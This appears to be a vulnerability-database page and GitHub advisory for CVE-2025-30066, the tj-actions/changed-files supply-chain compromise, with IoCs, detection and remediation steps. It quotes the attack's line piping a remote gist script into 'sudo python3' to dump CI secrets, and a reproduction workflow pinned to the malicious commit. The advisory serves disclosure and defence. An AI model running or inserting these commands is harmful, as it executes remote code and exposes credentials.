      "url": "https://web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues/2463"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Mitigation",
        "Third Party Advisory"
      ],
      "url": "https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-to-know-and-how-to-respond"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "US Government Resource"
      ],
      "url": "https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "US Government Resource"
      ],
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-506"
        }
      ],
      "source": "cve@mitre.org",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "NVD-CWE-Other"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

GHSA-MRRH-FWG8-R2C3

Vulnerability from github – Published: 2025-03-15 06:30 – Updated: 2025-10-22 19:29

Summary

tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.

Details

Summary

A supply chain attack compromised the tj-actions/changed-files GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between March 14 and March 15, 2025, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.

This has been patched in v46.0.1.

Details

The attack involved modifying the tj-actions/changed-files GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.

Key Indicators of Compromise (IoC):

Malicious commit: 0e58ed8671d6b60d0890c21b07f8835ace038e67
Retroactively updated tags pointing to the malicious commit:
v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67
v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67
v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67

Malicious Code Execution:

The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs:

B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`

This script targeted the Runner Worker process, extracting and exfiltrating its memory contents.

Proof of Concept (PoC)

Steps to Reproduce:

Create a GitHub Actions workflow using the tj-actions/changed-files action:

name: "tj-action changed-files incident"
on:
  pull_request:
    branches:
      - main
jobs:
  changed_files:
    runs-on: ubuntu-latest
    steps:
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67

Run the workflow and inspect the logs in the Actions tab.
Vulnerable workflows may display secrets in the logs.

Detection:

Analyze network traffic using Harden-Runner, which detects unauthorized outbound requests to:
- gist.githubusercontent.com

Live reproduction logs:
🔗 Harden-Runner Insights

This attack was detected by StepSecurity when anomaly detection flagged an unauthorized outbound network call to gist.githubusercontent.com.

Duration of Vulnerability

The vulnerability was active between March 14 and March 15, 2025.

Action Required

Review your workflows executed between March 14 and March 15:
Check the changed-files section for unexpected output.
Decode suspicious output using the following command:
echo 'xxx' | base64 -d | base64 -d
If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.
Update workflows referencing the compromised commit:
If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.
Tagged versions:
If you are using tagged versions (e.g., v35, v44.5.1), no action is required as these tags have been updated and are now safe to use.
Rotate potentially exposed secrets:
As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.

Impact

Type of vulnerability: Supply chain attack, Secrets exposure, Information leakage
Who is impacted:
Over 23,000 repositories using tj-actions/changed-files.
Organizations with public repositories are at the highest risk, as their logs may already be compromised.
Potential consequences:
Theft of CI/CD secrets (API keys, cloud credentials, SSH keys).
Unauthorized access to source code, infrastructure, and production environments.
Credential leaks in public repositories, enabling further supply chain attacks.

Severity ?

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 45.0.7"
      },
      "package": {
        "ecosystem": "GitHub Actions",
        "name": "tj-actions/changed-files"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "46.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30066"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-506"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-15T16:39:06Z",
    "nvd_published_at": "2025-03-15T06:15:12Z",
    "severity": "HIGH"
  },
  "details": "### Summary  \nA supply chain attack compromised the **tj-actions/changed-files** GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between **March 14 and March 15, 2025**, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.\n\nThis has been patched in [v46.0.1](https://github.com/tj-actions/changed-files/releases/tag/v46.0.1).\n\n### Details  \nThe attack involved modifying the **tj-actions/changed-files** GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.  \n\n#### Key Indicators of Compromise (IoC):  \n- **Malicious commit**: [0e58ed8671d6b60d0890c21b07f8835ace038e67](https://github.com/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07f8835ace038e67)  \n- **Retroactively updated tags pointing to the malicious commit**:  \n  - `v1.0.0`: 0e58ed8671d6b60d0890c21b07f8835ace038e67  \n  - `v35.7.7-sec`: 0e58ed8671d6b60d0890c21b07f8835ace038e67  \n  - `v44.5.1`: 0e58ed8671d6b60d0890c21b07f8835ace038e67  \n\n#### Malicious Code Execution:  \nThe malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs:  \n```\nB64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`\n```\n\nThis script targeted the **Runner Worker process**, extracting and exfiltrating its memory contents.  \n\n### Proof of Concept (PoC)  \n#### Steps to Reproduce:  \n1. Create a GitHub Actions workflow using the **tj-actions/changed-files** action:  \n\n```yml\nname: \"tj-action changed-files incident\"\non:\n  pull_request:\n    branches:\n      - main\njobs:\n  changed_files:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Get changed files\n        id: changed-files\n        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67\n```\n2. Run the workflow and inspect the logs in the Actions tab.  \n3. Vulnerable workflows may display secrets in the logs.  \n\n#### Detection:  \nAnalyze network traffic using [Harden-Runner](https://github.com/step-security/harden-runner), which detects unauthorized outbound requests to:  \n- `gist.githubusercontent.com`  \n\nLive reproduction logs:  \n\ud83d\udd17 [Harden-Runner Insights](https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/13866127357)  \n\nThis attack was detected by **StepSecurity** when anomaly detection flagged an unauthorized outbound network call to `gist.githubusercontent.com`.  \n\n### Duration of Vulnerability  \nThe vulnerability was active between **March 14 and March 15, 2025**.  \n\n### Action Required  \n1. **Review your workflows executed between March 14 and March 15**:  \n   - Check the **changed-files** section for unexpected output.  \n   - Decode suspicious output using the following command:  \n     ```\n     echo \u0027xxx\u0027 | base64 -d | base64 -d\n     ```\n   - If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.  \n\n2. **Update workflows referencing the compromised commit**:  \n   - If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.  \n\n3. **Tagged versions**:  \n   - If you are using tagged versions (e.g., `v35`, `v44.5.1`), no action is required as these tags have been updated and are now safe to use.  \n\n4. **Rotate potentially exposed secrets**:  \n   - As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.  \n\n### Impact  \n- **Type of vulnerability**: Supply chain attack, Secrets exposure, Information leakage  \n- **Who is impacted**:  \n  - Over 23,000 repositories using **tj-actions/changed-files**.  \n  - Organizations with public repositories are at the highest risk, as their logs may already be compromised.  \n- **Potential consequences**:  \n  - Theft of CI/CD secrets (API keys, cloud credentials, SSH keys).  \n  - Unauthorized access to source code, infrastructure, and production environments.  \n  - Credential leaks in public repositories, enabling further supply chain attacks.",
  "id": "GHSA-mrrh-fwg8-r2c3",
  "modified": "2025-10-22T19:29:00Z",
  "published": "2025-03-15T06:30:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tj-actions/changed-files/security/advisories/GHSA-mw4p-6x4p-x5m5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30066"
    },
    {
      "type": "WEB",
      "url": "https://github.com/espressif/arduino-esp32/issues/11127"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modal-labs/modal-examples/issues/1100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tj-actions/changed-files/issues/2463"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tj-actions/changed-files/issues/2464"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tj-actions/changed-files/issues/2477"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chains-project/maven-lockfile/pull/1111"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rackerlabs/genestack/pull/903"
    },
    {
      "type": "WEB",
      "url": "https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues/2463"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066"
    },
    {
      "type": "WEB",
      "url": "https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised"
    },
    {
      "type": "WEB",
      "url": "https://www.stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-to-know-and-how-to-respond"
    },
    {
      "type": "WEB",
      "url": "https://www.sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack"
    },
    {
      "type": "WEB",
      "url": "https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066"
    },
    {
      "type": "WEB",
      "url": "https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised"
    },
    {
      "type": "WEB",
      "url": "https://news.ycombinator.com/item?id=43368870"
    },
    {
      "type": "WEB",
      "url": "https://news.ycombinator.com/item?id=43367987"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tj-actions/changed-files/releases/tag/v46.0.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tj-actions/changed-files"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/docs/blob/962a1c8dccb8c0f66548b324e5b921b5e4fbc3d6/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md?plain=1#L191-L193"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitguardian.com/compromised-tj-actions"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs."
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2025-30066 (GCVE-0-2025-30066)

CISA KEV

Known Exploited Vulnerability - GCVE BCP-07 Compliant

Timestamps

Scope

Evidence

Vendor Report Successful Exploitation Confidence: 80% Source: cisa-kev

Details

References

FKIE_CVE-2025-30066

GHSA-MRRH-FWG8-R2C3

Summary

Details

Key Indicators of Compromise (IoC):

Malicious Code Execution:

Proof of Concept (PoC)

Steps to Reproduce:

Detection:

Duration of Vulnerability

Action Required

Impact

Tags

Sightings

Nomenclature